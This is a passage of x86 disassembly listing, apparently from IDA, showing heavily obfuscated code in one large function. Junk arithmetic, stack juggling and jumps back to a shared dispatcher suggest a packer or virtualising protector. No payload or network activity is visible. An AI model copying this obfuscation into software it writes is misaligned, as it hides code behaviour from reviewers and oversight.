sub_581EE9+A641j mov [esp-6EE8h+arg_6EE0], ebx jmp loc_58A6E7 ; --------------------------------------------------------------------------- loc_590B6F: ; DATA XREF: sub_581EE9+3CAFo mov cx, word ptr [esp-6EE8h+arg_6EE0] push 594Ch jmp loc_58D9E5 ; --------------------------------------------------------------------------- loc_590B7D: ; CODE XREF: sub_581EE9+752Aj push esi push edi push edx mov edx, 6EA7588Eh or edx, 5BF67C40h jmp loc_586918 ; --------------------------------------------------------------------------- loc_590B90: ; CODE XREF: sub_581EE9+BF6Bj mov ecx, 24FA2AC2h jmp loc_5913E3 ; --------------------------------------------------------------------------- loc_590B9A: ; CODE XREF: sub_581EE9+5563j push [esp-6EBAh+arg_6EB2] pop eax sub esp, 4 mov [esp-6EB6h+arg_6EAC+2], ebp push esp pop ebp jmp loc_58CA42 ; --------------------------------------------------------------------------- loc_590BAE: ; CODE XREF: sub_581EE9+B829j sub esi, 17D9707Ah add esi, eax push edx mov edx, 514A03C8h sub edx, 3E6E016Dh push ebx mov ebx, 3B491D5Dh sub edx, ebx pop ebx jmp loc_58A4C8 ; --------------------------------------------------------------------------- loc_590BD0: ; CODE XREF: sub_581EE9+AADEj push esp pop ecx jmp loc_58D934 ; --------------------------------------------------------------------------- loc_590BD7: ; CODE XREF: sub_581EE9+65CBj pop esp shr byte ptr [esp-6EE0h+arg_6ED6+2], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_590BE1: ; DATA XREF: sub_581EE9+3BF7o lodsb push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-6ED8h+arg_6ECE+2] pop esp jmp loc_587395 ; --------------------------------------------------------------------------- loc_590BF7: ; CODE XREF: sub_581EE9+47E4j add eax, edi pop edi push ebx push eax mov eax, 655C6223h jmp loc_589766 ; --------------------------------------------------------------------------- loc_590C06: ; CODE XREF: sub_581EE9+6CADj push [esp-6ED2h+arg_6ECE] jmp loc_59067C ; --------------------------------------------------------------------------- loc_590C0F: ; CODE XREF: sub_581EE9+DF24j mov [esp-6EF4h+arg_6EEC], ebp mov ebp, 1 push eax mov eax, 24h add eax, edi add [eax], ebp pop eax pop ebp jmp loc_58F48F ; --------------------------------------------------------------------------- loc_590C28: ; CODE XREF: sub_581EE9+D705j push ecx jmp loc_58E78D ; --------------------------------------------------------------------------- loc_590C2E: ; CODE XREF: sub_581EE9+6437j push 49C2h mov [esp-6EDAh+arg_6ED2], edx push 60087906h pop edx xor eax, edx push [esp-6EDAh+arg_6ED2] pop edx jmp loc_590569 ; --------------------------------------------------------------------------- loc_590C47: ; CODE XREF: sub_581EE9+DCACj mov [esp-6ECCh+arg_6EC2+2], edi mov edi, 3ED5250Ch jmp loc_58868D ; --------------------------------------------------------------------------- loc_590C54: ; CODE XREF: sub_581EE9+A79Fj xor eax, [esp-6EB6h+arg_6EAC+2] mov esp, [esp-6EB6h+arg_6EAC+2] cmp ecx, eax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_590C62: ; CODE XREF: sub_581EE9+A848j neg eax and eax, 1C252291h sub eax, 10051FFCh add ecx, eax pop eax jmp loc_59127E ; --------------------------------------------------------------------------- loc_590C76: ; CODE XREF: sub_581EE9+822Fj xchg ebx, [esp-6EACh+arg_6EA4] pop esi xchg esi, ebp sub ebp, 0B3C5E0C8h add edi, ebp pop ebp sub esp, 4 mov [esp-6EB0h+arg_6EA8], eax mov eax, 2 add edi, 3B6C1B4Ch add edi, eax sub edi, 3B6C1B4Ch pop eax xchg edi, [esp-6EB4h+arg_6EAC] pop esp jmp loc_58A81A ; --------------------------------------------------------------------------- loc_590CA8: ; CODE XREF: sub_581EE9+8975j pop edi add ecx, 4 xor ecx, [esp-6ED2h+arg_6ECA] xor [esp-6ED2h+arg_6ECA], ecx xor ecx, [esp-6ED2h+arg_6ECA] pop esp imul ecx sub esp, 4 jmp loc_58D991 ; --------------------------------------------------------------------------- loc_590CC6: ; CODE XREF: sub_581EE9+4682j push eax mov eax, 705B2DE9h and eax, 8B77B1Bh jmp loc_590D47 ; --------------------------------------------------------------------------- loc_590CD6: ; CODE XREF: sub_581EE9+7684j mov ebp, 0EE907B6h jmp loc_587F83 ; --------------------------------------------------------------------------- loc_590CE0: ; CODE XREF: sub_581EE9+681Fj push 29E0h jmp loc_58DB68 ; --------------------------------------------------------------------------- loc_590CEA: ; DATA XREF: sub_581EE9+3C73o push dword ptr [edx] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_590CF1: ; CODE XREF: sub_581EE9+D79Cj add ebx, 2BDAB3C0h add esi, ebx pop ebx xor ebx, esi pop esi and eax, ebx push [esp-6EEAh+arg_6EE0+2] mov ebx, [esp-6EE6h+arg_6EDC+2] add esp, 4 add esp, 4 shr eax, 18h jmp loc_588115 ; --------------------------------------------------------------------------- loc_590D13: ; CODE XREF: sub_581EE9+FC03j sub al, 0C6h add al, bh add al, 0C6h jmp loc_58EBE5 ; --------------------------------------------------------------------------- loc_590D1E: ; CODE XREF: sub_581EE9+51C4j push ebx mov bl, 24h xor bl, 49h push ax jmp loc_586900 ; --------------------------------------------------------------------------- loc_590D2B: ; CODE XREF: sub_581EE9+ABDFj pop edx sub ebp, 5B1A3910h add ebp, eax push esi mov esi, 5DF04D54h jmp loc_587280 ; --------------------------------------------------------------------------- loc_590D3F: ; CODE XREF: sub_581EE9+B276j shr ecx, 7 jmp loc_58FBCE ; --------------------------------------------------------------------------- loc_590D47: ; CODE XREF: sub_581EE9+EDE8j or eax, 0E1F5860h and eax, 469E6798h and eax, 769F5DC5h xor eax, 61E4104h add ecx, eax pop eax xor ecx, [esp-6EDEh+arg_6ED6] xor [esp-6EDEh+arg_6ED6], ecx xor ecx, [esp-6EDEh+arg_6ED6] pop esp push ebp mov ebp, esp jmp loc_5879A6 ; --------------------------------------------------------------------------- loc_590D70: ; CODE XREF: sub_581EE9+DD51j sub esp, 4 mov [esp-6EC2h+arg_6EBA], esp push esi jmp loc_58C6C3 ; --------------------------------------------------------------------------- loc_590D7F: ; CODE XREF: sub_581EE9+8C96j add eax, 4 add eax, 4 xchg eax, [esp-6F12h+arg_6F0A] pop esp add edi, 4 jmp loc_58ED92 ; --------------------------------------------------------------------------- loc_590D98: ; CODE XREF: sub_581EE9+FAA3j push dword ptr [esp+4] jmp loc_590891 ; --------------------------------------------------------------------------- loc_590DA1: ; CODE XREF: sub_581EE9+757Dj add esi, 47F12FCEh add esi, 0B72E3DD6h add eax, esi jmp loc_587058 ; --------------------------------------------------------------------------- loc_590DB4: ; CODE XREF: sub_581EE9+AD6Dj mov edi, 548F7988h add ebx, edi pop edi sub ebx, 0FFFFFFFFh add ebx, 0AF7D16ACh loc_590DC5: ; CODE XREF: sub_581EE9+E5D5j push esi mov esi, esp add esi, 4 push ecx push eax mov eax, 392914h xor eax, 62FF5D7Ah xor eax, 18AA0545h jmp loc_58C8D4 ; --------------------------------------------------------------------------- loc_590DE4: ; CODE XREF: sub_581EE9+608Bj shr eax, 3 shr eax, 3 xor eax, 7DE7CF5Bh or edx, eax pop eax xor edx, 4CDC3F86h xor eax, edx pop edx add ebx, eax jmp loc_58B369 ; --------------------------------------------------------------------------- loc_590E02: ; CODE XREF: sub_581EE9+D86Bj mov ebp, [esp-6F08h+arg_6EFE+2] jmp loc_58F976 ; --------------------------------------------------------------------------- loc_590E0A: ; CODE XREF: sub_581EE9+6121j pop edx push esi jmp loc_58BF2A ; --------------------------------------------------------------------------- loc_590E11: ; CODE XREF: sub_581EE9+F1A5j shr esi, 7 or esi, 24E87C12h xor esi, 39DA7171h push ebp mov ebp, 28657529h xor esi, ebp pop ebp add edx, esi pop esi jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_590E31: ; CODE XREF: sub_581EE9+8BB3j mov ebx, 691F38B0h sub esp, 4 jmp loc_58F3FF ; --------------------------------------------------------------------------- loc_590E3E: ; CODE XREF: sub_581EE9+654Dj mov ebx, 40000h jmp loc_58690E ; --------------------------------------------------------------------------- loc_590E48: ; CODE XREF: sub_581EE9+EFFCj not ch sub ch, 6 sub al, 88h add al, ch push ebx mov bl, 8Bh add bl, 0FFh xchg ah, bl jmp loc_58F49C ; --------------------------------------------------------------------------- loc_590E5E: ; CODE XREF: sub_581EE9+503Dj push [esp-6EB4h+arg_6EAC] jmp loc_589B53 ; --------------------------------------------------------------------------- loc_590E66: ; CODE XREF: sub_581EE9+73D9j pop ebx sub ecx, 7EC445D6h sub ecx, eax add ecx, 7EC445D6h pop eax mov edx, 26C4277Bh sub edx, ecx mov ecx, [esp-6EBEh+arg_6EB6] jmp loc_58E742 ; --------------------------------------------------------------------------- loc_590E85: ; CODE XREF: sub_581EE9+9312j push [esp-6ECEh+arg_6EC6] pop edx push edi jmp loc_589299 ; --------------------------------------------------------------------------- loc_590E8F: ; CODE XREF: sub_581EE9+680Dj push ecx mov ch, 60h xor ch, 0BEh dec ch jmp loc_589E9C ; --------------------------------------------------------------------------- loc_590E9C: ; CODE XREF: sub_581EE9+D99Ej push esi mov esi, 2 add eax, esi pop esi push eax push [esp-6EC6h+arg_6EC2] pop eax jmp loc_591688 ; --------------------------------------------------------------------------- loc_590EB0: ; CODE XREF: sub_581EE9+9873j dec dl add dl, 2Fh xor al, dl mov edx, [esp-6EB2h+arg_6EA8+2] add esp, 4 push bx sub esp, 4 mov [esp-6EB0h+arg_6EA8], edx jmp loc_586CC5 ; --------------------------------------------------------------------------- loc_590ECD: ; CODE XREF: sub_581EE9+9415j mov esi, [esp-6EC0h+arg_6EB6+2] push eax jmp loc_58CE55 ; --------------------------------------------------------------------------- loc_590ED6: ; CODE XREF: sub_581EE9+F32Ej mov [esp-6EBCh+arg_6EB2+2], ecx mov ch, 1Dh not ch inc ch xor ch, 27h sub ch, 9Ch jmp loc_590E48 ; --------------------------------------------------------------------------- loc_590EEA: ; CODE XREF: sub_581EE9+4D8Fj mov [esp-6ECEh+arg_6EC6], ecx push ebp mov ebp, 1329324Ah jmp loc_58D497 ; --------------------------------------------------------------------------- loc_590EF8: ; CODE XREF: sub_581EE9+CE32j sub [esp-6ECAh+arg_6EC6], ebx pop ebx mov eax, [esp-6ECEh+arg_6EC6] jmp loc_58C84B ; --------------------------------------------------------------------------- loc_590F05: ; CODE XREF: sub_581EE9+3DDBj xor al, bl push ecx mov ch, 0F1h push bx mov bl, 0F9h sub ch, bl pop bx add ch, 61h jmp loc_5871DB ; --------------------------------------------------------------------------- loc_590F1A: ; CODE XREF: sub_581EE9+E1B2j add edx, 4 xchg edx, [esp-6F0Ah+arg_6F02] pop esp push eax mov eax, esp add eax, 4 push 2306h mov [esp-6F06h+arg_6EFE], esi mov esi, 4 add eax, esi pop esi xchg eax, [esp-6F0Ah+arg_6F02] jmp loc_5915ED ; --------------------------------------------------------------------------- loc_590F44: ; CODE XREF: sub_581EE9+9D6Ej xor edi, edx mov edx, [esp-6EAEh+arg_6EA4+2] jmp loc_588514 ; --------------------------------------------------------------------------- loc_590F4E: ; CODE XREF: sub_581EE9+DDD5j add esp, 4 sub esp, 4 mov [esp-6EC2h+arg_6EBA], eax mov eax, 4A466BFBh neg eax or eax, 1A53701Dh jmp loc_58F2D4 ; --------------------------------------------------------------------------- loc_590F6B: ; CODE XREF: sub_581EE9+8A76j inc [esp-6EA8h+arg_6E9E+2] pop esi sub esi, 7C883280h jmp loc_591141 ; --------------------------------------------------------------------------- loc_590F7A: ; CODE XREF: sub_581EE9+D0B2j mov edx, 379474A6h jmp loc_588979 ; --------------------------------------------------------------------------- loc_590F84: ; CODE XREF: sub_581EE9+AA60j push si mov si, 0B358h jmp loc_58D7D4 ; --------------------------------------------------------------------------- loc_590F8F: ; CODE XREF: sub_581EE9+7454j mov ebx, 6B1B4DD8h sub esp, 4 mov [esp-6EC8h+arg_6EBE+2], eax mov eax, 5CC52FEDh neg eax or eax, 5E473933h shr eax, 7 dec eax inc eax add eax, 21307EA4h mov ebp, eax pop eax xor ebp, ebx pop ebx xor edx, ebp pop ebp jmp loc_58E1F1 ; --------------------------------------------------------------------------- loc_590FC1: ; CODE XREF: sub_581EE9+C50Fj add edx, esi push [esp-6EC2h+arg_6EBA] pop esi add esp, 4 xchg edx, [esp-6EC6h+arg_6EBE] jmp loc_58F871 ; --------------------------------------------------------------------------- loc_590FD5: ; CODE XREF: sub_581EE9+93FBj push [esp-6EC8h+arg_6EBE+2] pop eax jmp loc_591A40 ; --------------------------------------------------------------------------- loc_590FDE: ; CODE XREF: sub_581EE9+C0C0j add esp, 4 push edi push 5C9247D9h pop edi push ebx jmp loc_587372 ; --------------------------------------------------------------------------- loc_590FEE: ; CODE XREF: sub_581EE9+64EEj push ecx push esi jmp loc_58B376 ; --------------------------------------------------------------------------- loc_590FF5: ; CODE XREF: sub_581EE9+9932j mov [esp-6EC2h+arg_6EBA], ecx mov ecx, 25581A7Eh jmp loc_58C1B7 ; --------------------------------------------------------------------------- loc_591002: ; CODE XREF: sub_581EE9+774Ej xor ecx, 69B811C0h mov eax, ecx mov ecx, [esp-6EC0h+arg_6EB6+2] add esp, 4 jmp loc_58B6F5 ; --------------------------------------------------------------------------- loc_591015: ; CODE XREF: sub_581EE9+E19Aj mov ecx, 2 add ebp, ecx mov ecx, [esp-6F06h+arg_6EFE] push 37C0h mov [esp-6F02h+arg_6EFA], ecx mov ecx, esp jmp loc_58668F ; --------------------------------------------------------------------------- loc_59102E: ; CODE XREF: sub_581EE9+CE43j mov [esp-6EC0h+arg_6EB6+2], ebx push edx mov edx, 60800146h sub edx, 6080010Eh mov ebx, edx pop edx push esi mov esi, 4D401347h sub ebx, esi pop esi add ebx, edi add ebx, 4D401347h push ecx mov ecx, 0 sub ecx, 60D7249h add ecx, ebx add ecx, 60D7249h mov [ecx], al mov ecx, [esp-6EBCh+arg_6EB2+2] jmp loc_58806C ; --------------------------------------------------------------------------- loc_59106F: ; CODE XREF: sub_581EE9+C2B9j not edx add edx, 0D809FFFh add ecx, edx pop edx push ebp push edi jmp loc_59080D ; --------------------------------------------------------------------------- loc_591081: ; CODE XREF: sub_581EE9+EACBj push 3F9Ch mov [esp-6EDAh+arg_6ED2], esi mov esi, 52803A8Eh jmp loc_590E11 ; --------------------------------------------------------------------------- loc_591093: ; CODE XREF: sub_581EE9+F1B7j xor ebp, ebx jmp loc_587340 ; --------------------------------------------------------------------------- loc_59109A: ; CODE XREF: sub_581EE9+4891j xor ebx, 3DB3391Ch jmp loc_591093 ; --------------------------------------------------------------------------- loc_5910A5: ; CODE XREF: sub_581EE9+AC42j pop ecx push eax push edx mov edx, 5A1D7EDCh mov eax, edx pop edx add esi, eax pop eax shl esi, 5 and esi, 16AC6ABFh jmp loc_586AAD ; --------------------------------------------------------------------------- loc_5910C1: ; CODE XREF: sub_581EE9+E98Fj add eax, esi pop esi add eax, 4 jmp loc_58FCD5 ; --------------------------------------------------------------------------- loc_5910CE: ; CODE XREF: sub_581EE9+D5A1j mov ebx, 40E33AAAh jmp loc_587BFA ; --------------------------------------------------------------------------- loc_5910D8: ; CODE XREF: sub_581EE9+5E01j add ebp, edx pop edx pop edi sub eax, ebp mov ebp, [esp-6EACh+arg_6EA4] push edi mov edi, esp add edi, 4 jmp loc_58CB47 ; --------------------------------------------------------------------------- loc_5910EF: ; CODE XREF: sub_581EE9+9079j mov ecx, [esp-6EDAh+arg_6ED2] add esp, 4 mov edx, [esp-6EDEh+arg_6ED6] add esp, 4 jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_591103: ; CODE XREF: sub_581EE9+CAEFj mov ecx, [esp-6EC6h+arg_6EBE] add esp, 4 xor eax, [esp-6ECAh+arg_6EC2] xor [esp-6ECAh+arg_6EC2], eax xor eax, [esp-6ECAh+arg_6EC2] mov esp, [esp-6ECAh+arg_6EC2] bt [esp-6ECAh+arg_6EC2], eax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_59111F: ; CODE XREF: sub_581EE9+E0A2j push ecx push [esp-6EA2h+arg_6E9E] pop ecx pop [esp-6EA2h+arg_6E9A] pop esp mov dword ptr [esp-6EAAh+arg_6EA2], edx push esp pop edx jmp loc_58FDE4 ; --------------------------------------------------------------------------- loc_591133: ; CODE XREF: sub_581EE9+D934j push edi mov edi, 3EC975A5h shr edi, 4 jmp loc_58F5A4 ; --------------------------------------------------------------------------- loc_591141: ; CODE XREF: sub_581EE9+F08Cj and esi, 2D04737Ch xor esi, 40880A87h neg esi xor esi, 0D9D4805Bh xor edi, esi pop esi mov ebp, edi pop edi mov ebx, ebp push [esp-6EB4h+arg_6EAC] pop ebp add esp, 4 and [edi+1Ch], ebx jmp loc_58DD51 ; --------------------------------------------------------------------------- loc_59116C: ; CODE XREF: sub_581EE9+6B76j mov ebx, 5D3402DAh xor [esp-6EDCh+arg_6ED6+2], ebx push [esp-6EDCh+arg_6ED2+2] pop ebx add esp, 4 mov eax, [esp-6EE0h+arg_6ED6+2] push eax mov eax, esp jmp loc_58A986 ; --------------------------------------------------------------------------- loc_59118A: ; CODE XREF: sub_581EE9+B686j mov bh, 7Bh sub bh, ch pop ecx xor al, bh push [esp-6EB4h+arg_6EAC] pop ebx push 23D9h mov [esp-6EB0h+arg_6EA8], ebx mov ebx, esp push edx mov edx, 4 add ebx, edx mov edx, [esp-6EACh+arg_6EA4] jmp loc_58A2D7 ; --------------------------------------------------------------------------- loc_5911AF: ; CODE XREF: sub_581EE9+539Fj sub esi, 6B7FEBEh add ebp, esi pop esi pop eax xor ebp, [esp-6ED2h+arg_6ECA] xor [esp-6ED2h+arg_6ECA], ebp xor ebp, [esp-6ED2h+arg_6ECA] pop esp shl byte ptr [esp-6ED6h+arg_6ECE], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5911CC: ; CODE XREF: sub_581EE9+9F77j mov edi, 2 add ebp, 64C41B4Ah jmp loc_586FC7 ; --------------------------------------------------------------------------- loc_5911DC: ; CODE XREF: sub_581EE9+6095j sub esp, 4 mov [esp-6ED0h+arg_6EC6+2], esp add [esp-6ED0h+arg_6EC6+2], 4 mov ebx, [esp-6ED0h+arg_6EC6+2] add esp, 4 jmp loc_58C424 ; --------------------------------------------------------------------------- loc_5911F7: ; CODE XREF: sub_581EE9+5C1Ej xor ebp, [esp-6EC8h+arg_6EBE+2] xor [esp-6EC8h+arg_6EBE+2], ebp jmp loc_587FFE ; --------------------------------------------------------------------------- loc_591202: ; CODE XREF: sub_581EE9+65E3j shl dh, 1 sub dh, 9 sub al, dh pop dx add al, 4Dh sub al, bl sub al, 4Dh sub esp, 4 jmp loc_590ED6 ; --------------------------------------------------------------------------- loc_59121C: ; CODE XREF: sub_581EE9+AF67j mov al, 59h jmp loc_587E6E ; --------------------------------------------------------------------------- loc_591223: ; CODE XREF: sub_581EE9+4FAFj xor ebx, esi pop esi add [esp-6EB0h+arg_6EAC], ebx mov ebx, [esp-6EB0h+arg_6EA8] add esp, 4 jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_591235: ; CODE XREF: sub_581EE9+7276j not edx xchg edx, [esp-6EE4h+arg_6EDC] pop esi push ebp mov ebp, 182B7847h inc ebp neg ebp and ebp, 0D8F2ACCh add ebp, 98B96655h sub esi, ebp pop ebp jmp loc_5917E5 ; --------------------------------------------------------------------------- loc_591258: ; CODE XREF: sub_581EE9+BA84j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_59125D: ; CODE XREF: sub_581EE9+5F03j pop ebx add eax, 7C0A4735h add eax, edi sub eax, 7C0A4735h jmp loc_5872EC ; --------------------------------------------------------------------------- loc_59126F: ; CODE XREF: sub_581EE9+9674j pop esi sub ecx, esi pop esi add eax, ecx mov ecx, [esp-6ECEh+arg_6EC6] push edi jmp loc_58F0F6 ; --------------------------------------------------------------------------- loc_59127E: ; CODE XREF: sub_581EE9+ED88j sub ecx, 4 xchg ecx, [esp+0] jmp loc_586880 ; --------------------------------------------------------------------------- loc_591289: ; CODE XREF: sub_581EE9+61ACj sub eax, 496919AAh pop esi push 4F21h mov [esp+0], esi push edi jmp loc_58AE0A ; --------------------------------------------------------------------------- loc_59129D: ; CODE XREF: sub_581EE9+ABF9j or ah, cl jmp loc_58C3DC ; --------------------------------------------------------------------------- loc_5912A4: ; CODE XREF: sub_581EE9+7650j pop edi or eax, edx pop edx xor eax, 377F53EFh jmp loc_58E014 ; --------------------------------------------------------------------------- loc_5912B2: ; DATA XREF: sub_581EE9+3C9Fo mov cx, word ptr [esp-6F12h+arg_6F0A] push ebx jmp loc_586E9D ; --------------------------------------------------------------------------- loc_5912BC: ; DATA XREF: sub_581EE9+3B17o push [esp-6F0Eh+arg_6F06] mov eax, [esp-6F0Ah+arg_6F02] sub esp, 4 mov [esp-6F06h+arg_6EFE], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6F06h+arg_6EFE] pop esp sub esp, 4 mov [esp-6F06h+arg_6EFE], ebp mov ebp, esp jmp loc_58714D ; --------------------------------------------------------------------------- loc_5912EA: ; CODE XREF: sub_581EE9+B5F6j add ebp, 4 push ecx mov ecx, 368A43CDh shl ecx, 5 xor ecx, 23AC0D00h not ecx xor ecx, 3FD66F8Bh sub ecx, 32CDE4D0h sub ebp, ecx pop ecx jmp loc_589438 ; --------------------------------------------------------------------------- loc_591315: ; DATA XREF: sub_581EE9+3D2Bo mov ax, word ptr [esp-6F0Eh+arg_6F06] sub esp, 4 mov [esp-6F0Ah+arg_6F02], ebp push 31Bh mov [esp-6F06h+arg_6EFE], esp jmp loc_588BA3 ; --------------------------------------------------------------------------- loc_59132F: ; CODE XREF: sub_581EE9+7E8Dj mov ebx, 1 sub eax, ebx pop ebx sub eax, 0FFFFFFFFh xchg eax, ebx jmp loc_58F833 ; --------------------------------------------------------------------------- loc_591340: ; CODE XREF: sub_581EE9+456Cj pop edx jmp loc_5896EE ; --------------------------------------------------------------------------- loc_591346: ; CODE XREF: sub_581EE9+86B8j add ecx, 4FC037E3h jmp loc_589481 ; --------------------------------------------------------------------------- loc_591351: ; CODE XREF: sub_581EE9+E8AEj neg ecx and ecx, 7B5907F0h or ecx, 1C077F0Bh sub ecx, 3E4F7FDAh mov edi, ecx pop ecx add ecx, edi pop edi sub ecx, 68D205A1h jmp loc_587DD4 ; --------------------------------------------------------------------------- loc_591376: ; CODE XREF: sub_581EE9+E814j mov ebp, 3F93C3Bh add ebp, 1591EABCh add ebx, 718677BDh add ebx, 74870FA8h add ebx, ebp sub ebx, 74870FA8h push ebp mov ebp, 731B2581h jmp loc_58C47D ; --------------------------------------------------------------------------- loc_5913A0: ; CODE XREF: sub_581EE9+AF1Aj push [esp-6ED2h+arg_6ECE] jmp loc_58A04B ; --------------------------------------------------------------------------- loc_5913A9: ; CODE XREF: sub_581EE9+5EE6j mov edx, esp sub esp, 4 mov [esp-6ED8h+arg_6ECE+2], eax jmp loc_588AC5 ; --------------------------------------------------------------------------- loc_5913B9: ; CODE XREF: sub_581EE9+CE6Cj sub eax, 32573C60h jmp loc_58AC6E ; --------------------------------------------------------------------------- loc_5913C3: ; CODE XREF: sub_581EE9+B3F4j add esp, 4 add esp, 4 shr ecx, 6 sub esp, 4 mov [esp-6ECAh+arg_6EC2], ebx push [esp-6ECAh+arg_6EC2] mov eax, [esp-6EC6h+arg_6EBE] jmp loc_58CF75 ; --------------------------------------------------------------------------- loc_5913E3: ; CODE XREF: sub_581EE9+ECACj and ecx, 3D5A3B4Fh jmp loc_589C27 ; --------------------------------------------------------------------------- loc_5913EE: ; CODE XREF: sub_581EE9+FA64j sub esi, 567F2AF1h add esi, 44EB42FDh add esi, 0FDD0EA32h jmp loc_58D47C ; --------------------------------------------------------------------------- loc_591405: ; CODE XREF: sub_581EE9+B555j mov edi, [esp-6ED2h+arg_6ECA] push ebx jmp loc_5916A0 ; --------------------------------------------------------------------------- loc_59140E: ; CODE XREF: sub_581EE9+9BCCj mov ecx, 4 add esi, ecx jmp loc_589572 ; --------------------------------------------------------------------------- loc_59141A: ; CODE XREF: sub_581EE9+8A3Cj push edx mov dl, 9Ch mov cl, dl mov edx, [esp-6EBEh+arg_6EB6] jmp loc_58E1FD ; --------------------------------------------------------------------------- loc_591427: ; CODE XREF: sub_581EE9+7E00j xor edx, [esp-6EB2h+arg_6EA8+2] xor [esp-6EB2h+arg_6EA8+2], edx xor edx, [esp-6EB2h+arg_6EA8+2] mov esp, [esp-6EB2h+arg_6EA8+2] jmp loc_58757B ; --------------------------------------------------------------------------- loc_591438: ; CODE XREF: sub_581EE9+8F2Cj add edi, 0C3A7B506h mov esi, edi pop edi add eax, esi pop esi xchg eax, [esp-6EE6h+arg_6EDC+2] pop esp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-6EE6h+arg_6EDC+2] pop esp mov [esp-6EEAh+arg_6EE0+2], ecx jmp loc_58C9F0 ; --------------------------------------------------------------------------- loc_591461: ; CODE XREF: sub_581EE9+857Cj mov [esp-6EBAh+arg_6EB2], ebp push 43D3h mov [esp-6EB6h+arg_6EAC+2], ecx jmp loc_5869AF ; --------------------------------------------------------------------------- loc_591471: ; CODE XREF: sub_581EE9+EBE0j add ebx, 4 jmp loc_585FAE ; --------------------------------------------------------------------------- loc_59147C: ; CODE XREF: sub_581EE9+4AC1j mov word ptr [esp-6ECEh+arg_6EC6], cx movzx cx, al push cx pushf jmp loc_58A11D ; --------------------------------------------------------------------------- loc_59148C: ; CODE XREF: sub_581EE9+8CBCj sub esi, 14011962h not esi sub esi, 0ADACF409h xor ecx, esi pop esi mov [edi+24h], ecx pop ecx add [edi+24h], esi pop esi xor edx, edx push ebx push [esp-6E8Ch+arg_6E84] mov eax, [esp-6E88h+arg_6E80] jmp loc_5883F6 ; --------------------------------------------------------------------------- loc_5914B3: ; CODE XREF: sub_581EE9+869Fj add eax, 4 add eax, 4 xchg eax, [esp-6EC6h+arg_6EBE] pop esp push 47B3h mov [esp-6EC6h+arg_6EBE], edi mov edi, 44BE44CCh add ebx, edi push [esp-6EC6h+arg_6EBE] push [esp-6EC2h+arg_6EBA] pop edi add esp, 4 push 760Ch mov [esp-6EC2h+arg_6EBA], ebx jmp loc_58CD52 ; --------------------------------------------------------------------------- loc_5914E5: ; CODE XREF: sub_581EE9+B1A1j push 6662h mov [esp-6ED8h+arg_6ECE+2], edi mov edi, 4C203C33h jmp loc_58B66E ; --------------------------------------------------------------------------- loc_5914F7: ; CODE XREF: sub_581EE9+E23Bj push edx mov edx, 3DB44C9Ah xor ebx, edx pop edx sub ebx, 0C045318Ch or eax, ebx mov ebx, [esp-6EA2h+arg_6E9A] add esp, 4 push ebp mov ebp, 6131468Ch shr ebp, 7 or ebp, 5DC824E4h and ebp, 76332294h neg ebp add ebp, 5CB87FFCh jmp loc_58DEA7 ; --------------------------------------------------------------------------- loc_591533: ; CODE XREF: sub_581EE9+54A7j add esp, 4 push eax jmp loc_585E7A ; --------------------------------------------------------------------------- loc_59153C: ; CODE XREF: sub_581EE9+E9CDj add edx, 4 jmp loc_58963C ; --------------------------------------------------------------------------- loc_591547: ; CODE XREF: sub_581EE9+AD66j pop edi add esp, 4 and eax, esi pop esi jmp loc_5889A8 ; --------------------------------------------------------------------------- loc_591553: ; CODE XREF: sub_581EE9+E998j sub al, 0BBh add al, bl add al, 0BBh push bx mov bh, 7Ah sub al, 0D1h jmp loc_5884DC ; --------------------------------------------------------------------------- loc_591564: ; CODE XREF: sub_581EE9+949Fj mov esi, [esp-6E92h+arg_6E8A] jmp loc_586BC6 ; --------------------------------------------------------------------------- loc_59156C: ; CODE XREF: sub_581EE9+4D75j push ebp jmp loc_58F0A1 ; --------------------------------------------------------------------------- loc_591572: ; CODE XREF: sub_581EE9+7E1Ej sub [esp-6EDEh+arg_6ED6], eax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_59157B: ; CODE XREF: sub_581EE9+56EFj sub [esp-6F0Eh+arg_6F06], eax jmp loc_58A1B1 ; --------------------------------------------------------------------------- loc_591583: ; CODE XREF: sub_581EE9+7A12j xchg ebx, [esp-6EB6h+arg_6EAC+2] pop esp sub esp, 4 mov [esp-6EB6h+arg_6EAC+2], ebx mov ebx, 343EF2FCh sub ebp, ebx pop ebx mov ebx, ebp pop ebp jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5915A0: ; CODE XREF: sub_581EE9+80E5j push esi push 70B2h jmp loc_58B24E ; --------------------------------------------------------------------------- loc_5915AB: ; CODE XREF: sub_581EE9+639Ej mov [esp-6ECCh+arg_6EC2+2], esp push ebp mov ebp, 4 jmp loc_58A3C6 ; --------------------------------------------------------------------------- loc_5915B9: ; CODE XREF: sub_581EE9+DA5Bj push bx mov bh, 1Ah add dl, bh pop bx add bl, 72h jmp loc_590726 ; --------------------------------------------------------------------------- loc_5915C9: ; CODE XREF: sub_581EE9+7F10j mov [esp-6E92h+arg_6E8A], ecx push esp mov ecx, [esp-6E8Eh+arg_6E84+2] add esp, 4 push edx mov edx, 23C02E44h push ecx mov ecx, 30AF4D27h and ecx, 0F974394h jmp loc_588230 ; --------------------------------------------------------------------------- loc_5915ED: ; CODE XREF: sub_581EE9+F056j pop esp jmp loc_58E4E0 ; --------------------------------------------------------------------------- loc_5915F3: ; CODE XREF: sub_581EE9+92C9j add [esp-6EB0h+arg_6EA8], 4 pop ebp sub esp, 4 mov [esp-6EB0h+arg_6EA8], esi mov esi, 4 add ebp, esi pop esi sub ebp, 2 push 1747h mov [esp-6EB0h+arg_6EA8], ebp push [esp-6EB0h+arg_6EAC] pop ebp pop [esp-6EB0h+arg_6EA8] pop esp mov [esp+0], ax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_591626: ; CODE XREF: sub_581EE9+D02Dj pop edx sub edx, esi jmp loc_586130 ; --------------------------------------------------------------------------- loc_59162E: ; CODE XREF: 